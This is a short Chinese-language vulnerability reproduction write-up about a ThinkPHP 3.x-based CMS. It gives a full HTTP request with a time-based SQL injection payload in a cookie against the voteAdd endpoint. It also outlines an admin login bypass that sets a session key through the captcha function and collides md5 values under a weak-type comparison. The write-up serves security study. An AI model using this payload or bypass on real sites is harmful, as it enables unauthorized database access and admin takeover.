在逛论坛的时候发现该漏洞,于是本地搭建环境复现了一下
该框架基于thinkphp
3.
x
开发
这里cookie是可控的,跟踪调用
$this->_fromuser
的值
,
在App/Lib/Action/Home/ChannelAction.class.php 进行了调用
App/Lib/Action/Home/ChannelAction.class.php
GET /test/yd//index.php/Channel/voteAdd HTTP/1.1
Host: 192.168.2.152
User-Agent
: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: youdianfu[0]=exp;youdianfu[1]==(select 1 from(select sleep(2))a)
Upgrade-Insecure-Requests: 1
App/Lib/Action/AdminBaseAction.class.php
检验登陆的函数主要是isLogin
和check
Purview
App/Lib/Action/BaseAction.class.php
跟进buildImageVerify函数,发现能够控制session的键名,值则是对产生的字符进行md5加密,不可控
根据后台登陆的权限校验,可以设置session键值名绕过登陆
然后打开浏览器替换掉cookie
就可以登陆后台了
登陆后不一定是管理员的权限,但由于是弱类型比较,md
5
可以使用脚本进行碰撞